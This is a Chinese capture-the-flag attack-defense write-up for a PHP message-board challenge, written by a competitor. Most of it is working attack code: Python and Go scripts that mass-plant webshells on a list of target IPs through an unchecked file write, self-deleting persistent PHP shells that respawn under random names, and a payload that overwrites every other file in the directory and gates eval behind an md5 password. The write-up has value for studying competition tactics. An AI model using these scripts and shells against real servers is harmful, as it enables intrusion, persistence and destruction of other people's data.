全网第一篇wp^ ^(本来回来那天就该写了,拖延症硬是拖到现在……)

由于这题的阉割版被我放在线上赛,如果想直接看线上赛题解可以直接在目录里只看初步分析即可

目录结构&主要文件

image-20250303134124060

docker-compose.yaml

image-20250303134215040

拓补图如下

image-20250303134802443

只有proxy和ssh分配到内网ip。proxy设计得很聪明,作用是防止反弹shell,只能通过上马直连的方式获取有限的命令执行,拿不到tty,而且也防止了安插诸如mitmproxy这类中间人流量监控,保证自己的流量不被别人监听

接着就来直接分析一下web的代码

初步分析

只有一个后端文件post.php,前端给了三个种选项。lev2是直接发消息并保存到messages,lev4是添加token鉴权,lev7是在token鉴权基础上使用qrcode编码消息。

全审一遍后会发现,除了file_put_content能直接写入东西外,危险函数只有两个include和一个shell_exec

image-20250303152855041

image-20250303152912871

所以入手的思路就有两种

  1. 通过lev2/4写shell.php,直接访问messages/shell.php或用post.php?name=shell.php&level=2
  2. 通过lev7做命令截断,例如message=;echo \'<?php system($_GET["cmd"])?>\' > messages/{name}.php

但因为是awd,所以要进一步来做防御和持久化

实况回忆

能进入到线下赛的队伍肯定和我们一样都是久经沙场的老手,比赛刚开始的时候一看awd,大家也都马上拿出预存的现成一句马批量种植脚本,很快拿到前几轮flag。所以前8轮大家都是差不多的重复播种一句马,从这之后才开始出现画风突变,什么不死马、隐身文件,甚至只在文章里见过的RSA加密马这次还真在实战里碰上了XD 别的题我不清楚,但每个队伍负责这道题的web手们可以说在别人家的靶机上偷flag偷得是相当欢乐🌚

在大概30轮左右的时候,其实大家在短时间内能想出来的招数也已经差不多都使完了,不过我在比赛之前就料想到可能会有awd这么一环,根据以往的经验,我便决定采取“敌先动我不动”的策略,除了最开始的一句马脚本在接着跑grep 'flag'以外,在批量脚本里我还加上一句cat *,开始到处搜刮其他人靶机上留下的马

所以接下来的木马升级,我的核心思想就是“你的马就是我的马”和“我读不到谁也别想读到”😈,让歪果仁见识一下熟读孙子兵法的中国民间黑客的石粒!

木马设计

先放上我最开始的一句马脚本,后面的脚本都是在这个框架的基础上做修改

import requests
import re
from concurrent.futures import ThreadPoolExecutor, as_completed

# 从 ip 文件中读取目标 IP 地址
def read_ips():
    try:
        with open("ip", "r") as file:
            ips = file.read().splitlines()
            return ips
    except FileNotFoundError:
        print("错误:未找到 ip 文件。请确保目标 IP 列表文件存在。")
        return []

# 目标 URL 和参数
def get_target_url(ip):
    return f"http://{ip}/post.php"

def get_file_url(ip):
    return f"http://{ip}/messages/akared555.php"

PARAMS = {
    "name": "akared555.php",
    "message": "<?php system(\"grep -r 'MINIAD{' . && cat *\");?>",
    "level": "2",
}

# 请求头
HEADERS = {
    "Accept": "*/*",
    "Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6,zh-HK;q=0.5",
    "Cache-Control": "no-cache",
    "Connection": "keep-alive",
    "Content-Length": "0",
    "Origin": "http://43.199.161.42",
    "Pragma": "no-cache",
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 Edg/131.0.0.0",
}

def upload_file(target_url):
    """
    上传文件到目标服务器
    """
    try:
        response = requests.post(
            target_url,
            params=PARAMS,
            headers=HEADERS,
            verify=False  # 忽略 SSL 证书验证
        )
        return response.status_code == 200
    except requests.RequestException:
        return False

def check_flag(file_url):
    """
    检查上传的文件内容是否包含以 MINIAD{ 开头的 flag
    """
    try:
        response = requests.get(file_url, headers=HEADERS, verify=False)
        if response.status_code == 200:
            content = response.text
            # 使用正则表达式查找以 MINIAD{ 开头的 flag
            flag_match = re.search(r"MINIAD\{.*?\}", content)
            if flag_match:
                print(f"找到 flag: {flag_match.group(0)}")
    except requests.RequestException:
        pass

def attack_ip(ip):
    """
    对单个 IP 地址执行上传和检查操作
    """
    target_url = get_target_url(ip)
    file_url = get_file_url(ip)

    if upload_file(target_url):
        check_flag(file_url)

def main():
    """
    主函数:并发检查所有 IP 地址
    """
    ips = read_ips()
    if not ips:
        return

    # 使用线程池并发处理
    with ThreadPoolExecutor(max_workers=10) as executor:
        while True:
            futures = [executor.submit(attack_ip, ip) for ip in ips]
            for future in as_completed(futures):
                future.result()  # 等待任务完成


if __name__ == "__main__":
    main()

结构其实很简单,其实就是实现了最基本的上传和访问、获取功能

所以目前我们的升级应该更多的在php执行代码上,等解决完持久化问题后再回来升级py脚本的速度

一句马显然在战火纷飞的靶机上是站不住脚的,别人一个rm一定比我通过py发马的速度快。所以既然别人有一句马,那我们肯定也要安排上

<?php
set_time_limit(0);
ignore_user_abort(1);
unlink(__FILE__);

while (1) {
    system('grep -r "MINIAD\{" . && cat *');
    sleep(0);
}

这样其他人就没法用直接删掉。要是有大聪明在自己的马里写了rm *呢?也不怕,让我们的马隐身就好。也就是把文件名变成.akared555.php

image-20250303161816797

到这里还没完,如果只是这样,那么其实只要别人对着我的.akared555.php这一个文件进行”精准核打击“式的删除就可以了,所以我们不仅要隐身,我们还要分身!用过vscode ssh和macos的人都知道.vscode.DS_stroe是什么贵物,现在我们要做的就是把这种精神发挥到木马设计上,我们不仅要分一个,而且要和敌方删除脚本在争夺有限的CPU资源下分出无穷多个!😈

<?php
set_time_limit(0);
ignore_user_abort(1);
unlink(__FILE__);

while (1) {
        file_put_contents('akared777'.rand().'.php','system(\'grep -r "MINIAD\{" . && cat *\');');
    sleep(0);
}

到这里就结束了吗?不,到目前为止,我们的木马都还处在“被动防御”的姿态,接下来我们要做的就是主动进攻!从新冠病毒身上我们可以学习到,既然你删我,那我把你也变成我不就完了?

<?php
set_time_limit(0);
ignore_user_abort(1);
unlink(__FILE__);

while (1) {
    file_put_contents('akared777'.rand().''.php', '<?php 
        if (md5($_POST[1]) == "c9c135a25454f018fa1e05d9f4cee7c4") {
            eval($_POST[1]);
            system("grep -r 'MINIAD{' . --exclude='akared777.php' ");
            $files = scandir(__DIR__);
            foreach ($files as $file) {
                if ($file !== "." && $file !== ".." && $file !== "akared777.php" && is_file($file) && file != "akared666.php") {
                    file_put_contents($file, 'DoYouKnow_TKKC_SEC?');
                    sleep(0);
                }
            }
        }
    ?>');
    sleep(0);
}

这次我们不仅在分身的基础上实现了对所有敌方木马的覆盖,还为他添置了md5校验,这样别人想用我们的马也用不了。为了区分我们最终搓出来的变异马和最开始一句马的区别,我也把akared555改成了akared666🥵,所以最终我们的完整版py脚本就是下面这样(未实现随机文件名读取,随机文件名读取是我后面在用go重写时才想到的,所以py版本并没有)

import requests
from concurrent.futures import ThreadPoolExecutor, as_completed

# 从 ip 文件中读取目标 IP 地址
def read_ips():
    try:
        with open("ip", "r") as file:
            ips = file.read().splitlines()
            return ips
    except FileNotFoundError:
        print("错误:未找到 ip 文件。请确保目标 IP 列表文件存在。")
        return []

# 目标 URL 和参数
def get_target_url(ip):
    return f"http://{ip}/post.php"

def get_akared666_url(ip):
    return f"http://{ip}/messages/akared666.php"

def get_file_url(ip):
    return f"http://{ip}/messages/akared777.php"

PARAMS = {
    "name": "akared666.php",
    "message": "<?php set_time_limit(0);ignore_user_abort(1);unlink(__FILE__);while(1){file_put_contents('akared777.php','<?php if(md5($_POST[1])==\"c9c135a25454f018fa1e05d9f4cee7c4\"){eval($_POST[1]);system(\"grep -r \\'MINIAD{\\' . --exclude=\\'akared777.php\\' \");$files=scandir(__DIR__);foreach($files as $file){if($file!==\".\"&&$file!==\"..\"&&$file!==\"akared777.php\"&&is_file($file)&&file!=\"akared666.php\"){file_put_contents($file,\\'DoYouKnow_TKKC_SEC?\\');sleep(0);}}}?>');sleep(0);}",
    "level": "2",
}

# 请求头
HEADERS = {
    "Accept": "*/*",
    "Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6,zh-HK;q=0.5",
    "Cache-Control": "no-cache",
    "Connection": "keep-alive",
    "Content-Length": "0",
    "Pragma": "no-cache",
    "Origin": "http://127.0.0.1",
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 Edg/131.0.0.0",
}

def upload_file(target_url):
    """
    上传文件到目标服务器
    """
    try:
        response = requests.post(
            target_url,
            params=PARAMS,
            headers=HEADERS,
            verify=False  # 忽略 SSL 证书验证
        )
        return response.status_code == 200
    except requests.RequestException:
        return False

def access_akared666(akared666_url):
    """
    访问 akared666.php 以触发 akared777.php 的生成
    """
    try:
        response = requests.get(akared666_url, headers=HEADERS, verify=False)
        return response.status_code == 200
    except requests.RequestException:
        return False

# def check_flag(file_url):
#     """
#     检查上传的文件内容是否包含以 MINIAD{ 开头的 flag
#     """
#     try:
#         data = {1: 'akakdjq'}
#         rep = requests.post(url=file_url, headers=HEADERS, data=data, verify=False)

def attack_ip(ip):
    """
    对单个 IP 地址执行上传、访问和检查操作
    """
    target_url = get_target_url(ip)
    akared666_url = get_akared666_url(ip)
    file_url = get_file_url(ip)

    # 上传文件
    if upload_file(target_url):
        print(f"上传成功:{ip}")
        # 访问 akared666.php
        if access_akared666(akared666_url):
            print(f"访问 akared666.php 成功:{ip}")
        else:
            print(f"访问 akared666.php 失败:{ip}")
    else:
        print(f"上传失败:{ip}")


def main():
    """
    主函数:持续并发上传、访问和检查
    """
    ips = read_ips()
    if not ips:
        return

    # 使用线程池并发处理
    with ThreadPoolExecutor(max_workers=10) as executor:
        while True:
            futures = [executor.submit(attack_ip, ip) for ip in ips]
            for future in as_completed(futures):
                future.result()  # 等待任务完成

if __name__ == "__main__":
    main() 

负责访问akared777.php的是这个

import requests
import re
from concurrent.futures import ThreadPoolExecutor, as_completed
import time

# 从 ip 文件中读取目标 IP 地址
def read_ips():
    try:
        with open("ip", "r") as file:
            ips = file.read().splitlines()
            return ips
    except FileNotFoundError:
        print("错误:未找到 ip 文件。请确保目标 IP 列表文件存在。")
        return []

def get_file_url(ip):
    return f"http://{ip}/messages/akared777.php"

# 请求头
HEADERS = {
    "Accept": "*/*",
    "Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6,zh-HK;q=0.5",
    "Cache-Control": "no-cache",
    "Connection": "keep-alive",
    "Content-Length": "0",
    "Pragma": "no-cache",
    "Origin": "http://127.0.0.1",
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 Edg/131.0.0.0",
}

def check_flag(file_url):
    """
    检查上传的文件内容是否包含以 MINIAD{ 开头的 flag
    """
    try:
        data = {1: 'akakdjq'}
        rep = requests.post(url=file_url, headers=HEADERS, data=data, verify=False)
        if rep.status_code == 200:
            content = rep.text
            # 使用正则表达式查找以 MINIAD{ 开头的 flag
            flag_match = re.search(r"MINIAD\{.*?\}", content)
            if flag_match:
                print(f"找到 flag: {flag_match.group(0)}")
                print(f"地址: {file_url}")
    except requests.RequestException as e:
        pass

def check_ip(ip):
    """
    对单个 IP 地址执行检查操作
    """
    file_url = get_file_url(ip)
    check_flag(file_url)

def main():
    """
    主函数:持续并发检查所有 IP 地址
    """
    ips = read_ips()
    if not ips:
        return

    # 使用线程池并发处理
    with ThreadPoolExecutor(max_workers=10) as executor:
        while True:
            futures = [executor.submit(check_ip, ip) for ip in ips]
            for future in as_completed(futures):
                future.result()  # 等待任务完成

if __name__ == "__main__":
    main()

但再好的木马,碰上python这样的龟速执行也会被敌方抢占先机,所以最后我们就改用Go实现真正意义上的高并发木马种植

package main

import (
	"bufio"
	"fmt"
	"io/ioutil"
	"net/http"
	"os"
	"regexp"
	"strings"
	"sync"
	"time"
)

// 常量定义
const (
	postURLTemplate     = "http://%s/post.php"
	akared666URLTemplate = "http://%s/messages/akared666.php"
	headers             = `Accept: */*
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6,zh-HK;q=0.5
Cache-Control: no-cache
Connection: keep-alive
Content-Length: 0
Pragma: no-cache
Origin: http://127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 Edg/131.0.0.0`
)

// 全局变量
var (
	// 上传参数
	params = map[string]string{
		"name":    "akared666.php",
		"message": "<?php set_time_limit(0);ignore_user_abort(1);unlink(__FILE__);while(1){file_put_contents('akared777'.rand().'php','<?php if(md5($_POST[1])==\"c9c135a25454f018fa1e05d9f4cee7c4\"){eval($_POST[1]);system(\"grep -r \\'MINIAD{\\' . --exclude=\\'akared777.php\\' \");$files=scandir(__DIR__);foreach($files as $file){if($file!==\".\"&&$file!==\"..\"&&$file!==\"akared777.php\"&&is_file($file)&&file!=\"akared666.php\"){file_put_contents($file,\\'DoYouKnow_TKKC_SEC?\\');sleep(0);}}}?>');sleep(0);}",
		"level":   "2",
	}
	// Flag 正则表达式
	flagRegex = regexp.MustCompile(`MINIAD\{.*?\}`)
)

// 读取 IP 地址列表
func readIPs() []string {
	file, err := os.Open("ip")
	if err != nil {
		fmt.Println("错误:未找到 ip 文件。", err)
		return nil
	}
	defer file.Close()

	var ips []string
	scanner := bufio.NewScanner(file)
	for scanner.Scan() {
		ips = append(ips, scanner.Text())
	}
	return ips
}

// 解析请求头
func parseHeaders(headerStr string) http.Header {
	header := http.Header{}
	lines := strings.Split(headerStr, "\n")
	for _, line := range lines {
		parts := strings.SplitN(line, ": ", 2)
		if len(parts) == 2 {
			header.Set(parts[0], parts[1])
		}
	}
	return header
}

// 上传 akared666.php
func uploadFile(ip string) bool {
	postURL := fmt.Sprintf(postURLTemplate, ip)
	req, err := http.NewRequest("POST", postURL, nil)
	if err != nil {
		return false
	}
	q := req.URL.Query()
	for k, v := range params {
		q.Add(k, v)
	}
	req.URL.RawQuery = q.Encode()
	req.Header = parseHeaders(headers)

	client := &http.Client{Timeout: 10 * time.Second}
	resp, err := client.Do(req)
	if err != nil {
		return false
	}
	defer resp.Body.Close()
	return resp.StatusCode == 200
}

// 获取 akared777<random>.php 文件名
func getAkared777Filename(ip string) (string, bool) {
	akared666URL := fmt.Sprintf(akared666URLTemplate, ip)
	req, err := http.NewRequest("GET", akared666URL, nil)
	if err != nil {
		return "", false
	}
	req.Header = parseHeaders(headers)

	client := &http.Client{Timeout: 10 * time.Second}
	resp, err := client.Do(req)
	if err != nil {
		return "", false
	}
	defer resp.Body.Close()
	if resp.StatusCode != 200 {
		return "", false
	}
	body, err := ioutil.ReadAll(resp.Body)
	if err != nil {
		return "", false
	}
	filename := strings.TrimSpace(string(body))
	if filename == "" || !strings.HasPrefix(filename, "akared777") || !strings.HasSuffix(filename, ".php") {
		return "", false
	}
	return filename, true
}

// 检查 Flag
func checkFlag(ip string, filename string) {
	fileURL := fmt.Sprintf("http://%s/messages/%s", ip, filename)
	data := "1=akakdjq"
	req, err := http.NewRequest("POST", fileURL, strings.NewReader(data))
	if err != nil {
		return
	}
	req.Header = parseHeaders(headers)
	req.Header.Set("Content-Type", "application/x-www-form-urlencoded")

	client := &http.Client{Timeout: 10 * time.Second}
	resp, err := client.Do(req)
	if err != nil {
		return
	}
	defer resp.Body.Close()
	if resp.StatusCode == 200 {
		body, err := ioutil.ReadAll(resp.Body)
		if err == nil {
			content := string(body)
			matches := flagRegex.FindAllString(content, -1)
			for _, match := range matches {
				fmt.Printf("找到 flag: %s\n地址: %s\n", match, fileURL)
			}
		}
	}
}

// 对单个 IP 进行攻击
func attackIP(ip string, wg *sync.WaitGroup) {
	defer wg.Done()

	// 上传文件
	if uploadFile(ip) {
		fmt.Printf("上传成功:%s\n", ip)
		// 获取随机文件名
		filename, ok := getAkared777Filename(ip)
		if ok {
			fmt.Printf("获取到文件名:%s for %s\n", filename, ip)
			// 检查 Flag
			checkFlag(ip, filename)
		} else {
			fmt.Printf("获取文件名失败:%s\n", ip)
		}
	} else {
		fmt.Printf("上传失败:%s\n", ip)
	}
}

// 主函数
func main() {
	ips := readIPs()
	if len(ips) == 0 {
		fmt.Println("没有可用的 IP 地址")
		return
	}

	var wg sync.WaitGroup
	for {
		for _, ip := range ips {
			wg.Add(1)
			go attackIP(ip, &wg)
		}
		wg.Wait()
		time.Sleep(1 * time.Second) // 控制循环间隔
	}
}

至此,本场比赛的超级毒王就此诞生😈

后记

这个马是我在比赛现场第一天加上回去后在酒店搓了一晚上的成果。第二天有了我的木马加持,我们的排名一度来到前三(不过有点可惜忘记截图),直到主办方突然宣布部分轮数分数被取消,这对本在第一天拿分不多的我来了波史诗级削弱。。。= =

image-20250303170723834

image-20250303170903714

而且中间大家所有人的proxy都断了一次,所以第二天虽然这题有很高的得分,但已经比较难用这道题和r4kapig这样的头部战队拉开差距

不过整体打得还是挺开心的,据说我搓脚本那天晚上对面红磡体育馆还在开演唱会

image-20250303171338048

当时现场拍的改脚本照片XD

image-20250303171455647

更多有关这些故事的细节就等打完今年闽盾过后再慢慢聊吧~